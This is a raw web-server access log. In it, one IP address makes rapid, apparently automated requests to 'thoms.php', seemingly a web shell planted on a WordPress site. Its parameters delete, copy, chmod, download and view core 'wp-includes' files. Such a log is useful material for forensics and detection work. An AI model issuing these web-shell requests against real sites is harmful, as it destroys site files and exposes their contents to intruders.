45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?dl=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22175 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fsodium_compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=category-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?del=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:46 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-wp-block-styles-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22162 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?del=blocks&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=blocks&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=blocks&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?del=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?chmod=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=deprecated.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=rss.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?del=interactivity-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FSimplePie HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:47 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22092 "https://163.245.207.76:443/thoms.php?del=interactivity-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22253 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-http-proxy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmedia-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmedia-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?chmod=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fmedia-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=registration-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rss-functions.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?chmod=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=theme-i18n.json&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-dependency.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-parser-frame.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-dependency.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?chmod=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?chmod=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:48 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22072 "https://163.245.207.76:443/thoms.php?chmod=class-wp-theme.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?del=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=class-wp.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?del=l10n&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=l10n&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22260 "https://163.245.207.76:443/thoms.php?del=rewrite.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?del=l10n&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?del=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-application-passwords.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-fatal-error-handler.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-script-modules.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-hook.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21955 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?chmod=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-embed.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:49 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-embed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
